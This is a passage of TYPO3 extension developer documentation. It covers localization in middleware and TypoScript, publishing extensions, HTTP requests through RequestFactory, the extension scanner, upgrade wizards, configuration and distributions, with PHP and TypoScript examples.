 * If the base path is not available in the according site the default language will be used.
 */
final readonly class HaikuSeasonList implements MiddlewareInterface
{
    public function __construct(
        private LanguageServiceFactory $languageServiceFactory,
        private ResponseFactoryInterface $responseFactory,
        private StreamFactoryInterface $streamFactory,
    ) {}
}
Copied!

The main method process() is called with a \Psr\Http\Message\ServerRequestInterface as argument that can be used to detect the current language and is therefore passed on to the private method getSeasons() doing the actual translation:

Class T3docs\Examples\Middleware\HaikuSeasonList
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\RequestHandlerInterface;

final readonly class HaikuSeasonList implements MiddlewareInterface
{
    private const URL_SEGMENT = '/haiku-season-list.json';

    public function process(ServerRequestInterface $request, RequestHandlerInterface $handler): ResponseInterface
    {
        if (!str_contains($request->getUri()->getPath(), self::URL_SEGMENT)) {
            return $handler->handle($request);
        }

        $seasons = json_encode($this->getSeasons($request), JSON_THROW_ON_ERROR);

        return $this->responseFactory->createResponse()
            ->withHeader('Content-Type', 'application/json')
            ->withBody($this->streamFactory->createStream($seasons));
    }
}
Copied!

Now we can let the \TYPO3\CMS\Core\Localization\LanguageServiceFactory to create a \TYPO3\CMS\Core\Localization\LanguageService from the request's language, falling back to the default language of the site.

The LanguageService can then be queried for the localized strings:

Class T3docs\Examples\Middleware\HaikuSeasonList
use Psr\Http\Message\ServerRequestInterface;

final readonly class HaikuSeasonList implements MiddlewareInterface
{
    private const SEASONS = ['spring', 'summer', 'autumn', 'winter', 'theFifthSeason'];
    private const TRANSLATION_PATH = 'LLL:EXT:examples/Resources/Private/Language/PluginHaiku/locallang.xlf:season.';

    /**
     * @return array<string, string>
     */
    private function getSeasons(ServerRequestInterface $request): array
    {
        $languageService = $this->languageServiceFactory->createFromSiteLanguage(
            $request->getAttribute('language') ?? $request->getAttribute('site')->getDefaultLanguage(),
        );

        $translatedSeasons = [];
        foreach (self::SEASONS as $season) {
            $translatedSeasons[$season] = $languageService->sL(self::TRANSLATION_PATH . $season);
        }

        return $translatedSeasons;
    }
}
Copied!

TypoScript

Output localized strings with Typoscript

The getText property LLL can be used to fetch translations from a translation file and output it in the current language:

EXT:site_package/Configuration/TypoScript/setup.typoscript
lib.blogListTitle = TEXT
lib.blogListTitle {
    data = LLL : EXT:blog_example/Resources/Private/Language/locallang.xlf:blog.list
}
Copied!

TypoScript conditions based on the current language

The condition function siteLanguage can be used to provide certain TypoScript configurations only for certain languages. You can query for any property of the language in the site configuration.

EXT:site_package/Configuration/TypoScript/setup.typoscript
lib.something = TEXT
[siteLanguage("locale") == "de_CH"]
  lib.something.value = This site has the locale "de_CH"
[END]
[siteLanguage("title") == "Italy"]
  lib.something.value = This site has the title "Italy"
[END]
Copied!

Changing localized terms using TypoScript

It is possible to override texts in the plugin configuration in TypoScript.

See TypoScript reference, _LOCAL_LANG.

If, for example, you want to use the text "Remarks" instead of the text "Comments", you can overwrite the identifier comment_header for the affected languages. For this, you can add the following line to your TypoScript template:

EXT:blog_example/Configuration/TypoScript/setup.typoscript
plugin.tx_blogexample {
  _LOCAL_LANG {
    default.comment_header = Remarks
    de.comment_header = Bemerkungen
    zh.comment_header = 备注
  }
}
Copied!

With this, you will overwrite the localization of the term comment_header for the default language and the languages "de" and "zh" in the blog example.

The locallang.xlf files of the extension do not need to be changed for this.

Outside of an Extbase request TYPO3 tries to infer the the extension key from the extensionName ViewHelper attribute or the language key itself.

Fictional root template
page = PAGE
page.10 = FLUIDTEMPLATE
page.10.template = TEXT
page.10.template.value (
  # infer from extensionName
  <f:translate key="onlineDocumentation" extensionName="backend" />

  # infer from language key
  <f:translate key="LLL:EXT:backend/Resources/Private/Language/locallang.xlf:onlineDocumentation" />

  # should not work because the locallang.xlf does not exist, but works right now
  <f:translate key="LLL:EXT:backend/Resources/locallang.xlf:onlineDocumentation" />
)
# Note the tx_ prefix
plugin.tx_backend._LOCAL_LANG.default {
  onlineDocumentation = TYPO3 Online Documentation from Typoscript
}
Copied!

stdWrap.lang

stdWrap offers the lang property, which can be used to provide localized strings directly from TypoScript. This can be used as a quick fix but it is not recommended to manage translations within the TypoScript code.

Publish your extension

Follow these steps to release your extension publicly in the TYPO3 world:

  1. Publish the source code on a public Git hosting platform
  2. Publish your extension on Packagist
  3. Publish your extension on TER
  4. Publish its documentation in the official TYPO3 documentation
  5. Set up translations on Crowdin

TYPO3 - Inspiring people to share

Git

Publish your source code on a public Git hosting platform.

The TYPO3 community currently uses GitHub, GitLab and Atlassian Bitbucket to host the Git repositories of their extensions.

Typically, the extension key is used for the repository name, but that is not necessary.

Advantages:

  • Contributors can add issues or make pull requests.
  • Documentation can be published in the official TYPO3 documentation by using a webhook (see below).

Packagist

Publish your extension on Packagist - the main Composer repository.

See their homepage for more details about the publishing process.

Depends on:

Advantages:

  • Extension can be installed in a Composer based TYPO3 instance using composer require.
  • All advantages of being listed in Packagist, for example

    • Extension can be updated easily with composer update

TER

Publish your extension in the TYPO3 Extension Repository (TER) - the central storage for public TYPO3 extensions.

See page Publish your extension in the TER for more information about the publishing process and check out the TYPO3 community Q&A at page FAQ.

Depends on:

Advantages:

  • Extension can be installed in a Classic mode installation (no Composer required) TYPO3 instance using the module Extensions.
  • All advantages of being listed in the TER, for example:

    • Easy finding of your extension
    • Reserved extension key in the TYPO3 world
    • The community can vote for your extension
    • Users can subscribe to notifications on new releases
    • Composer package is announced (optional)
    • Sponsoring link (optional)
    • Link to the documentation (optional)
    • Link to the source code (optional)
    • Link to the issue tracker (optional)

Documentation

Publish the documentation of your extension in the official TYPO3 documentation.

Please follow the instructions on page Migration: From Sphinx to PHP-based rendering to set up an appropriate webhook.

Depends on:

  • Public Git repository
  • Extension published in TER (optional). This is not mandatory, but makes the webhook approval easier for the TYPO3 Documentation Team.

Advantages:

  • Easily find your extension documentation, which serves as a good companion for getting started with your extension.

Crowdin

If you use language labels which should get translated in your extension (typically in Resources/Private/Languages), you may want to configure the translation setup on https://crowdin.com. Crowdin is the official translation server for TYPO3.

This is documented on Extension integration.

Further reading

Publish your extension in the TER

Before publishing extension, think about

First of all ask yourself some questions before publishing or even putting some effort in coding:

  • What additional benefit does your extension have for the TYPO3 community?
  • Does your extension key describe the extension? See the extension key requirements.
  • Are there any extensions in the TER yet which have the same functionalities?
  • If yes, why do we need your one? Wouldn't it be an option to contribute to other extensions?
  • Did you read and understand the TYPO3 Extension Security Policy?
  • Does your extension include or need external libraries? Watch for the license! Learn more about the right licensing.
  • Do you have a public repository on e.g. GitHub, Gitlab or Bitbucket?
  • Do you have the resources to maintain this extension?
  • This means that you should

    • support users and integrators using your extension
    • review and test contributions
    • test your extension for new TYPO3 releases
    • provide and update a documentation for your extension

Use semantic versions

We would like you to stick to semantic versions.

Given a version number MAJOR.MINOR.PATCH, increment the:

  • MAJOR version when you make incompatible API changes (known as "breaking changes"),
  • MINOR version when you add functionality in a backwards-compatible manner, and
  • PATCH version when you make backwards-compatible bug fixes.

Additional labels for pre-release and build metadata are available as extensions to the MAJOR.MINOR.PATCH format.

More you can see at https://semver.org.

Offer feedback options

Before you publish an extension you should be aware of what happens after it. Users and integrators will give you feedback (contributions, questions, bug reports). In this case you should have

  1. A possibility to get in contact with you (link to an issue tracker like forge, GitHub, etc.)
  2. A possibility to look into the code (link to a public repository)

You can edit these options in the extension key management (after login)

How to publish an extension

Now we come to the process of publishing in TER. You have two options for releasing an extension:

  1. Via the web form:

    Click "Upload" next to your extension key in the extension key management and follow the instructions.

  2. Via the REST interface (recommended):

    Use the PHP CLI application Tailor which lets you register new extension keys and helps you maintain your extensions, update extension information and publish new extension versions. For complete instructions and examples, see the official Tailor documentation.

    Besides manual publishing, Tailor is the perfect complement for automatic publishing via CI / CD pipelines. On the application's homepage you will find integration snippets and below recommended tools that further simplify the integration into common CI / CD pipelines:

    GitHub: https://github.com/tomasnorre/typo3-upload-ter

HTTP requests to external sources

The PHP library "Guzzle" is available in TYPO3 as a feature-rich solution for creating HTTP requests based on the PSR-7 interfaces.

Guzzle automatically detects the underlying adapters available on the system, such as cURL or stream wrappers, and chooses the best solution for the system.

A TYPO3-specific PHP class named \TYPO3\CMS\Core\Http\RequestFactory is present as a simplified wrapper for accessing Guzzle clients.

All options available under $GLOBALS['TYPO3_CONF_VARS']['HTTP'] are automatically applied to the Guzzle clients when using the RequestFactory class. The options are a subset of the available options from Guzzle, but can be extended.

Although Guzzle can handle Promises/A+ and asynchronous requests, it currently serves as a drop-in replacement for the previous mixed options and implementations within GeneralUtility::getUrl() and a PSR-7-based API for HTTP requests.

The TYPO3-specific wrapper GeneralUtility::getUrl() uses Guzzle for remote files, eliminating the need to directly configure settings based on specific implementations such as stream wrappers or cURL.

Basic usage

The RequestFactory class can be used like this:

EXT:examples/Classes/Http/MeowInformationRequester.php
<?php

declare(strict_types=1);

/*
 * This file is part of the TYPO3 CMS project. [...]
 */

namespace T3docs\Examples\Http;

use TYPO3\CMS\Core\Http\RequestFactory;

final readonly class MeowInformationRequester
{
    private const API_URL = 'https://catfact.ninja/fact';

    // We need the RequestFactory for creating and sending a request,
    // so we inject it into the class using constructor injection.
    public function __construct(
        private RequestFactory $requestFactory,
    ) {}

    /**
     * @throws \JsonException
     * @throws \RuntimeException
     */
    public function request(): string
    {
        // Additional headers for this specific request
        // See: https://docs.guzzlephp.org/en/stable/request-options.html
        $additionalOptions = [
            'headers' => ['Cache-Control' => 'no-cache'],
            'allow_redirects' => false,
        ];

        // Get a PSR-7-compliant response object
        $response = $this->requestFactory->request(
            self::API_URL,
            'GET',
            $additionalOptions,
        );

        if ($response->getStatusCode() !== 200) {
            throw new \RuntimeException(
                'Returned status code is ' . $response->getStatusCode(),
            );
        }

        if ($response->getHeaderLine('Content-Type') !== 'application/json') {
            throw new \RuntimeException(
                'The request did not return JSON data',
            );
        }
        // Get the content as a string on a successful request
        $content = $response->getBody()->getContents();
        $result = json_decode($content, true, flags: JSON_THROW_ON_ERROR);
        if (!is_array($result) || !isset($result['fact']) || !is_scalar($result['fact'])) {
            throw new \RuntimeException('The service returned an unexpected format.', 1666413230);
        }
        return (string)$result['fact'];
    }
}
Copied!

A POST request can be achieved with:

EXT:my_extension/Classes/SomeClass.php
$additionalOptions = [
    'body' => 'Your raw post data',
    // OR form data:
    'form_params' => [
        'first_name' => 'Jane',
        'last_name' => 'Doe',
    ]
];

$response = $this->requestFactory->request($url, 'POST', $additionalOptions);
Copied!

Extension authors are advised to use the RequestFactory class instead of using the Guzzle API directly in order to ensure a clear upgrade path when updates to the underlying API need to be done.

Custom middleware handlers

Guzzle accepts a stack of custom middleware handlers which can be configured in $GLOBALS['TYPO3_CONF_VARS']['HTTP']['handler'] as an array. If a custom configuration is specified, the default handler stack will be extended and not overwritten.

config/system/additional.php | typo3conf/system/additional.php
// Add custom middlewares to default Guzzle handler stack
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['handler'][] =
    (\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(
        \MyVendor\MyExtension\Middleware\Guzzle\CustomMiddleware::class
    ))->handler();
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['handler'][] =
    (\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(
        \MyVendor\MyExtension\Middleware\Guzzle\SecondCustomMiddleware::class
    ))->handler();
Copied!

HTTP Utility Methods

TYPO3 provides a small set of helper methods related to HTTP Requests in the class HttpUtility:

HttpUtility::buildUrl

Creates a URL string from an array containing the URL parts, such as those output by parse_url().

HttpUtility::buildQueryString

The buildQueryString() method is an enhancement to the PHP function http_build_query(). It implodes multidimensional parameter arrays and properly encodes parameter names as well as values into a valid query string with an optional prepend of ? or &.

If the query is not empty, ? or & are prepended in the correct sequence. Empty parameters are skipped.

Extension scanner

Introduction

The extension scanner provides an interactive interface to scan extension code for usage of TYPO3 Core API which has been removed or deprecated.

The Extension Scanner

The module can be a great help for extension developers and site maintainers when upgrading to new Core versions. It can point out code places within extensions that need attention. However, the detection approach - based on static code analysis - is limited by concept: false positives/negatives are impossible to avoid.

This document has been written to explain the design goals of the scanner, to point out what it can and can't do. The document should help extension and project developers to get the best out of the tool, and it should help Core developers to add Core patches which use the scanner.

This module has been featured on the TYPO3 YouTube channel:

Quick start

  1. Open extension scanner from the TYPO3 backend:

    Admin Tools > Upgrade > Scan Extension Files

    Open the extension scanner from the Admin Tools

  2. Scan one extension by clicking on it or click "Scan all".
  3. View the report:

    The tags weak, strong, etc. will give you an idea of how well the extension scanner was able to match. Hover over the tags with the mouse to see a tooltip.

    Click on the Changelog to view it.

    View extension scanner report

Goals and non goals

  • Help extension authors quickly find code in extensions that may need attention when upgrading to newer Core versions.
  • Extend the existing reST documentation files which are shown in the Upgrade Analysis section with additional information giving extension authors and site developers hints if they are affected by a specific change.
  • It is not a design goal to scan for every TYPO3 Core API change.
  • It should later be possible to scan different languages - not only PHP - TypoScript or Fluid could be examples.
  • Core developers should be able to easily register and maintain matchers for new deprecations or breaking patches.
  • Implementation within the TYPO3 Core backend has been the primary goal. While it might be possible, integration into IDEs like PhpStorm has not been a design goal. Also, matcher configuration is bound to the Core version, e.g. tests concerning v12 are not intended to be executed on v11.
  • Some of the reST files that document a breaking change or deprecated API can be used to scan extensions. If those find no matches, the reST documentation files are tagged with a "no match" label telling integrators and project developers that they do not need to concern themselves with that particular change.
  • The extension scanner is not meant to be used on Core extensions - it is not a Core development helper.

Limits

The extension scanner is based on static code analysis. "Understanding and analyzing" code flow from within code itself (dynamic code analysis) is not performed. This means the scanner is basically not much more clever than a simple string search paired with some additional analysis to reduce false positives/negatives.

Let's explain this by example. Suppose a static method was deprecated:

<?php
namespace TYPO3\CMS\Core\Utility;

class SomeUtility
{
    /**
     * @deprecated since ...
     */
    public static function someMethod($foo = '') {
        // do something deprecated
    }
}
Copied!

This method is registered in the matcher class \TYPO3\CMS\Install\ExtensionScanner\Php\Matcher\MethodCallStaticMatcher like this:

'TYPO3\CMS\Core\Utility\SomeUtility::someMethod' => [
    'numberOfMandatoryArguments' => 0,
    'maximumNumberOfArguments' => 1,
    'restFiles' => [
        'Deprecation-12345-DeprecateSomeMethod.rst',
    ],
],
Copied!

The array key is the class name plus method name, numberOfMandatoryArguments is the number of arguments that must be passed to the method, maximumNumberOfArguments is the maximum number of arguments the method accepts. The restFiles array contains file names of .rst file(s) that explain details of the deprecation.

Now let's look at a theoretical class of an extension that uses this deprecated method:

<?php
namespace My\Extension\Consumer;

use TYPO3\CMS\Core\Utility\SomeUtility;

class SomeClass
{
    public function someMethod()
    {
        // "Strong" match: Full class combination and method call matches
        \TYPO3\CMS\Core\Utility\SomeUtility::someMethod();

        // "Strong" match: Full class combination and method call matches
        \TYPO3\CMS\Core\Utility\SomeUtility::someMethod('foo');

        // "Strong" match: Use statements are resolved
        SomeUtility::someMethod('foo');

        // "Weak" match: Scanner does not know if $foo is class "SomeUtility", but method name matches
        $foo = '\TYPO3\CMS\Core\Utility\SomeOtherUtility';
        $foo::someMethod();

        // No match: The method is static but called dynamically
        $foo->someMethod();

        // No match: The method is called with too many arguments
        SomeUtility::someMethod('foo', 'bar');

        // No match: A different method is called
        SomeUtility::someOtherMethod();
    }
}
Copied!

The first three method calls are classified as strong matches: the full class name is used and the method name matches including the argument restrictions. The fourth call $foo::someMethod(); is classified as a weak match and is a false positive: Class SomeOtherUtility is called instead of SomeUtility. The sixth method call SomeUtility::someMethod('foo', 'bar') does not match because the method is called with two arguments instead of one argument.

The "too many arguments" restriction is a measure to suppress false positives: If a method with the same name exists which accepts a different number of arguments, valid calls to the other method may be reported as false positives depending on the number of arguments used in the call.

As you can see, depending on given extension code, the scanner may find false positives and it may not find matches if for instance the number of arguments is not within a specified range.

The example above looks for static method calls, which are relatively reliable to match. For dynamic -> method call, a strong match on the class name is almost never achieved, which means almost all matches for such cases will be weak matches.

Additionally, an extension may already have a version check around a function call to run one function on one Core version and a different one on another Core version. The extension scanner does not understand these constructs and would still show the deprecated call as a match, even if it was wrapped in a Core version check.

Extension authors

Even though the extension scanner can be a great help to quickly see which places of an extension may need attention when upgrading to a newer Core version, the following points should be considered:

  • It should not be a goal to always have a green output of the extension scanner, especially if the extension scanner shows a false positive.
  • A green output when scanning an extension does not imply that the extension actually works with that Core version: Some deprecations or breaking changes are not scanned (for example those causing too many false positives) and the scanner does not support all script/markup languages.
  • The breaking change / deprecation reST files shipped with a Core version are still relevant and should be read.
  • If the extension scanner shows one or more false positives the extension author has the following options:

    • Ignore the false positive
    • Suppress a single match with an inline comment:

      // @extensionScannerIgnoreLine
      $foo->someFalsePositiveMatch('foo');
      Copied!
    • Suppress all matches in an entire file with a comment. This is especially useful for dedicated classes which act as proxies for Core API:

      <?php
      
      /**
       * @extensionScannerIgnoreFile
       */
      class SomeClassIgnoredByExtensionScanner
      {
          ...
      }
      Copied!
    • The author could request a Core patch to remove a specific match from the extension scanner if it triggers too many false positives. If multiple authors experience the same false positives they are even more likely to be removed upon request.
    • Some of the matchers can be restricted to only include strong matches and ignore weak ones. The extension author may request a "strong match only" patch for specific cases to suppress common false positives.
  • If a PHP file is invalid and can not be compiled for a given PHP version, the extension scanner may throw a general parse error for that file. Additionally, if an extension calls a matched method with too many arguments (which is valid in PHP) then the extension scanner will not show that as a match. In general: the cleaner the code base of a given extension is and the simpler the code lines are, the more useful the extension scanner will be.
  • If an extension is cluttered with @extensionScannerIgnoreLine or @extensionScannerIgnoreFile annotations this could be an indication to the extension author to consider branching off an extensions to support individual Core versions instead of supporting multiple versions in the same release.

Project developers

Project developers are developers who maintain a project that consists of third party extensions (eg. from TER) together with some custom, project-specific extensions. When analysing the output of an extension scanner run the following points should be considered:

  • It is not necessary for all scanned extensions to report green status. Due to the nature of the extension scanner which can show false positives, extension authors may decide to ignore a false positive (see above). That means that even well maintained extensions may not report green.
  • A green status in the scanner does not imply that the extension also works, just that it neither uses deprecated methods nor any Core API which received breaking changes. It also does not indicate anything about the quality of the extension: false positives can be caused by for example supporting multiple TYPO3 versions in the same extension release.

Core developers

When you are working on the TYPO3 Core and deprecate or remove functionality you can find information in Core Contribution Guide, appendix Extension Scanner.

The concept of upgrade wizards

Upgrade wizards are single PHP classes that provide an automated way to update certain parts of a TYPO3 installation. Usually those affected parts are sections of the database (for example, contents of fields change) as well as segments in the file system (for example, locations of files have changed).

Wizards should be provided to ease updates for integrators and administrators. They are an addition to the database migration, which is handled by the Core based on ext_tables.sql.

The execution order is not defined. Each administrator is able to execute wizards and migrations in any order. They can also be skipped completely.

Each wizard is able to check pre-conditions to prevent execution, if nothing has to be updated. The wizard can log information and executed SQL statements, that can be displayed after execution.

Best practice

Each extension can provide as many upgrade wizards as necessary. Each wizard should perform exactly one specific update.

Examples

The TYPO3 Core itself provides upgrade wizards inside EXT:install/Classes/Updates/ (GitHub).

Creating upgrade wizards

Changed in version 13.0

The registration via $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['ext/install']['update'] in ext_localconf.php was removed in TYPO3 v13.

To create an upgrade wizard you have to add a class which implements the UpgradeWizardInterface.

The class may implement other interfaces (optional):

UpgradeWizardInterface

Each upgrade wizard consists of a single PHP file containing a single PHP class. This class has to implement \TYPO3\CMS\Install\Updates\UpgradeWizardInterface and its methods.

The registration of an upgrade wizard is done directly in the class by adding the class attribute \TYPO3\CMS\Install\Attribute\UpgradeWizard . The unique identifier is passed as an argument.

EXT:my_extension/Classes/Upgrades/ExampleUpgradeWizard.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Upgrades;

use TYPO3\CMS\Install\Attribute\UpgradeWizard;
use TYPO3\CMS\Install\Updates\UpgradeWizardInterface;

#[UpgradeWizard('myExtension_exampleUpgradeWizard')]
final class ExampleUpgradeWizard implements UpgradeWizardInterface
{
    /**
     * Return the speaking name of this wizard
     */
    public function getTitle(): string
    {
        return 'Title of this updater';
    }

    /**
     * Return the description for this wizard
     */
    public function getDescription(): string
    {
        return 'Description of this updater';
    }

    /**
     * Execute the update
     *
     * Called when a wizard reports that an update is necessary
     *
     * The boolean indicates whether the update was successful
     */
    public function executeUpdate(): bool
    {
        // Add your logic here
    }

    /**
     * Is an update necessary?
     *
     * Is used to determine whether a wizard needs to be run.
     * Check if data for migration exists.
     *
     * @return bool Whether an update is required (TRUE) or not (FALSE)
     */
    public function updateNecessary(): bool
    {
        // Add your logic here
    }

    /**
     * Returns an array of class names of prerequisite classes
     *
     * This way a wizard can define dependencies like "database up-to-date" or
     * "reference index updated"
     *
     * @return string[]
     */
    public function getPrerequisites(): array
    {
        // Add your logic here
    }
}
Copied!
Method getTitle()
Return the speaking name of this wizard.
Method getDescription()
Return the description for this wizard.
Method executeUpdate()
Is called, if the user triggers the wizard. This method should contain, or call, the code that is needed to execute the upgrade. Return a boolean indicating whether the update was successful.
Method updateNecessary()
Is called to check whether the upgrade wizard has to run. Return true, if an upgrade is necessary, false if not. If false is returned, the upgrade wizard will not be displayed in the list of available wizards.
Method getPrerequisites()

Returns an array of class names of prerequisite classes. This way, a wizard can define dependencies before it can be performed. Currently, the following prerequisites exist:

  • DatabaseUpdatedPrerequisite: Ensures that the database table fields are up-to-date.
  • ReferenceIndexUpdatedPrerequisite: The reference index needs to be up-to-date.
EXT:my_extension/Classes/Upgrades/ExampleUpgradeWizard.php
use TYPO3\CMS\Install\Updates\DatabaseUpdatedPrerequisite;
use TYPO3\CMS\Install\Updates\ReferenceIndexUpdatedPrerequisite;

/**
 * @return string[]
 */
public function getPrerequisites(): array
{
    return [
        DatabaseUpdatedPrerequisite::class,
        ReferenceIndexUpdatedPrerequisite::class,
    ];
}
Copied!

After creating the new upgrade wizard, delete all caches in Admin tools > Maintanance > Flush TYPO3 and PHP Cache or via console command:

vendor/bin/typo3 cache:flush
Copied!
typo3/sysext/core/bin/typo3 cache:flush
Copied!

Wizard identifier

The wizard identifier is used:

  • when calling the wizard from the command line.
  • when marking the wizard as done in the table sys_registry

Since all upgrade wizards of TYPO3 Core and extensions are registered using the identifier, it is recommended to prepend the wizard identifier with a prefix based on the extension key.

You should use the following naming convention for the identifier:

myExtension_wizardName, for example bootstrapPackage_addNewDefaultTypes

  • The extension key and wizard name in lowerCamelCase, separated by underscore
  • The existing underscores in extension keys are replaced by capitalizing the following letter

Some examples:

Extension key Wizard identifier
container container_upgradeColumnPositions
news_events newsEvents_migrateEvents
bootstrap_package bootstrapPackage_addNewDefaultTypes

Marking wizard as done

As soon as the wizard has completely finished, for example, it detected that no upgrade is necessary anymore, the wizard is marked as done and will not be checked anymore.

To force TYPO3 to check the wizard every time, the interface EXT:install/Classes/Updates/RepeatableInterface.php (GitHub) has to be implemented. This interface works as a marker and does not force any methods to be implemented.

Generating output

The ChattyInterface can be implemented for wizards which should generate output. EXT:install/Classes/Updates/ChattyInterface.php (GitHub) uses the Symfony interface OutputInterface.

Classes using this interface must implement the following method:

vendor/symfony/console/Output/OutputInterface.php
/**
 * Setter injection for output into upgrade wizards
 */
 public function setOutput(OutputInterface $output): void;
Copied!

The class EXT:install/Classes/Updates/DatabaseUpdatedPrerequisite.php (GitHub) implements this interface. We are showing a simplified example here, based on this class:

EXT:install/Classes/Updates/DatabaseUpdatedPrerequisite.php
use Symfony\Component\Console\Output\OutputInterface;

class DatabaseUpdatedPrerequisite implements PrerequisiteInterface, ChattyInterface
{
    /**
     * @var OutputInterface
     */
    protected $output;

    public function setOutput(OutputInterface $output): void
    {
        $this->output = $output;
    }

    public function ensure(): bool
    {
        $adds = $this->upgradeWizardsService->getBlockingDatabaseAdds();
        $result = null;
        if (count($adds) > 0) {
            $this->output->writeln('Performing ' . count($adds) . ' database operations.');
            $result = $this->upgradeWizardsService->addMissingTablesAndFields();
        }
        return $result === null;
    }

    // ... more logic
}
Copied!

Executing the wizard

Wizards are listed in the backend module Admin Tools > Upgrade and the card Upgrade Wizard. The registered wizard should be shown there, as long as it is not done.

It is also possible to execute the wizard from the command line:

vendor/bin/typo3 upgrade:run myExtension_exampleUpgradeWizard
Copied!
typo3/sysext/core/bin/typo3 upgrade:run myExtension_exampleUpgradeWizard
Copied!

Examples for common upgrade wizards

Upgrade wizard to replace switchable controller actions

Switchable controller actions in Extbase plugins have been deprecated with TYPO3 v10.3 (see also Deprecation: #89463 - Switchable Controller Actions) and removed with TYPO3 v12.4.

On migration of existing installations using plugins with switchable controller actions all plugins have to be changed to a new type. It is recommended to also change them from being defined via field list-type to field CType.

See also Registration of frontend plugins.

The following upgrade wizard can be run on any installation which still has plugins of the outdated type and configuration. It is then not needed anymore to upgrade the plugins manually:

EXT:my_extension/Classes/Upgrades/SwitchableControllerActionUpgradeWizard.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Upgrades;

use TYPO3\CMS\Core\Database\ConnectionPool;
use TYPO3\CMS\Core\Service\FlexFormService;
use TYPO3\CMS\Install\Attribute\UpgradeWizard;
use TYPO3\CMS\Install\Updates\UpgradeWizardInterface;

#[UpgradeWizard('myExtension_switchableControllerActionUpgradeWizard')]
final class SwitchableControllerActionUpgradeWizard implements UpgradeWizardInterface
{
    private const TABLE = 'tt_content';
    private const PLUGIN = 'myextension_myplugin';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
        private readonly FlexFormService $flexFormService,
    ) {}

    public function getTitle(): string
    {
        return 'Migrate MyExtension plugins';
    }

    public function getDescription(): string
    {
        return 'Migrate MyExtension plugins from switchable controller actions to specific plugins';
    }

    public function executeUpdate(): bool
    {
        $result = 0;
        $result += $this->migratePlugin(self::PLUGIN, 'MyController->list', 'myextension_mycontrollerlist');
        $result += $this->migratePlugin(self::PLUGIN, 'MyController->overview;MyController->detail', 'myextension_mycontrolleroverviewdetail');
        return $result > 0;
    }

    private function migratePlugin(string $plugin, string $switchable, string $newCType): int
    {
        $updated = 0;
        $queryBuilder = $this->connectionPool->getQueryBuilderForTable(self::TABLE);
        $result = $queryBuilder
            ->select('*')
            ->from(self::TABLE)
            ->where(
                $queryBuilder->expr()->eq('list_type', $queryBuilder->createNamedParameter($plugin)),
            )
            ->executeQuery();
        while ($row = $result->fetchAssociative()) {
            if (!is_string($row['pi_flexform'] ?? false)) {
                continue;
            }
            $flexform = $this->loadFlexForm($row['pi_flexform']);
            if (!isset($flexform['switchableControllerActions']) || $flexform['switchableControllerActions'] !== $switchable) {
                continue;
            }
            $updated++;
            $this->connectionPool->getConnectionForTable('tt_content')
                ->update(
                    self::TABLE,
                    [ // set
                        'CType' => $newCType,
                        'list_type' => '',
                    ],
                    [ // where
                        'uid' => (int)$row['uid'],
                    ],
                );
        }
        return $updated;
    }

    private function loadFlexForm(string $flexFormString): array
    {
        return $this->flexFormService
            ->convertFlexFormContentToArray($flexFormString);
    }

    public function updateNecessary(): bool
    {
        $queryBuilder = $this->connectionPool->getQueryBuilderForTable(self::TABLE);
        $queryBuilder->getRestrictions()->removeAll();
        return (bool)$queryBuilder
            ->count('uid')
            ->from(self::TABLE)
            ->where(
                $queryBuilder->expr()->eq('list_type', $queryBuilder->createNamedParameter(self::PLUGIN)),
            )
            ->executeQuery()
            ->fetchOne();
    }

    /**
     * @return string[]
     */
    public function getPrerequisites(): array
    {
        return [];
    }
}
Copied!

You find real world examples of such upgrade wizards for example in georgringer/news : \\GeorgRinger\\News\\Updates\\PluginUpdater.

Configuration

There are several possibilities to make your extension configurable. From the various options described here each differs in:

  • the scope to what the configuration applies (extension, pages, plugin)
  • the access level required to make the change (editor, admin)

TypoScript and constants

You can define configuration options using TypoScript. These options can be changed via TypoScript constants and setup in the backend. The changes apply to the current page and all subpages.

Extension configuration

Extension configuration is defined in the file ext_conf_template.txt using TypoScript constant syntax.

The configuration options you define in this file can be changed in the backend Admin Tools > Settings > Extension Configuration and is stored in config/system/settings.php.

Use this file for general options that should be globally applied to the extension.

FlexForms

FlexForms define forms that can be used by editors to configure plugins and content elements.

In Extbase plugins, settings made in the FlexForm of a plugin override settings made in the TypoScript configuration of that plugin.

If you want to access a setting via FlexForm in Extbase from your controller via $this->settings, the name of the setting must begin with settings, directly followed by a dot (.).

Access settings

The settings can be read using $this->settings in an Extbase controller action and via {settings} within Fluid.

Example: Access settings in an Extbase controller

Class T3docs\BlogExample\Controller\PostController
use Psr\Http\Message\ResponseInterface;

class PostController extends AbstractController
{
    public function displayRssListAction(): ResponseInterface
    {
        $defaultBlog = $this->settings['defaultBlog'] ?? 0;
        if ($defaultBlog > 0) {
            $blog = $this->blogRepository->findByUid((int)$defaultBlog);
        } else {
            $blog = $this->blogRepository->findAll()->getFirst();
        }
        $this->view->assign('blog', $blog);
        return $this->responseFactory->createResponse()
            ->withHeader('Content-Type', 'text/xml; charset=utf-8')
            ->withBody($this->streamFactory->createStream($this->view->render()));
    }
}
Copied!

YAML

Some extensions offer configuration in the format YAML, see YAML.

There is a YamlFileLoader which can be used to load YAML files.

Creating a new distribution

This chapter describes the main steps in creating a new distribution.

Concept of distributions

The distributions are full TYPO3 CMS websites that only need to be unpacked. They offer a simple and quick introduction to the use of the TYPO3 CMS. The best known distribution is the typo3/cms-introduction . Distributions are easiest to install via the Extension Manager (EM) under "Get preconfigured distribution".

A distribution is just an extension enriched with some further data that is loaded or executed upon installing that extension. A distribution takes care of the following parts:

  • Deliver initial database data
  • Deliver fileadmin files
  • Deliver configuration for a package
  • Hook into the process after saving configuration to trigger actions dependent on configuration values
  • Deliver dependent extensions if needed (e.g., customized versions or extensions not available through TER)

Kickstarting the Distribution

A distribution is a special kind of extension. The first step is thus to create a new extension. Start by registering an extension key, which will be the unique identifier of your distribution.

Next create the extension declaration file as usual, except for the "category" property which must be set to distribution.

Configuring the Distribution Display in the EM

